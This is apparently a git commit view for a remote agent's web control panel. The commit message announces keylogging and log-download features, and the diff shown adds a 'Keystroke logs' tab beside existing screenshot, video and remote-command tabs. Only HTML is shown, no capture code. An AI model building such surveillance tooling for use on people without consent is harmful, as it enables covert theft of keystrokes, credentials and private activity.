Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

This commit is contained in:
2026-08-28 12:44:09 +03:00
parent 16d7aa75b3
commit d48c2044bc
13 changed files with 988 additions and 11 deletions
+14
View File
@@ -145,6 +145,7 @@
<button data-tab="screenshot">Screenshot</button>
<button data-tab="video">Video</button>
<button data-tab="exec">Command</button>
<button data-tab="logs">Logs</button>
</nav>
<main>
<section id="status" class="panel active">
@@ -222,6 +223,19 @@
<p id="exec-meta" class="meta"></p>
<pre id="exec-out"></pre>
</section>
<section id="logs" class="panel">
<div class="row">
<h2>Keystroke logs</h2>
<button id="log-refresh" class="primary" type="button">Refresh</button>
</div>
<p id="log-meta" class="meta"></p>
<table>
<thead>
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
</thead>
<tbody id="log-rows"></tbody>
</table>
</section>
</main>
<script src="/app.js"></script>
</body>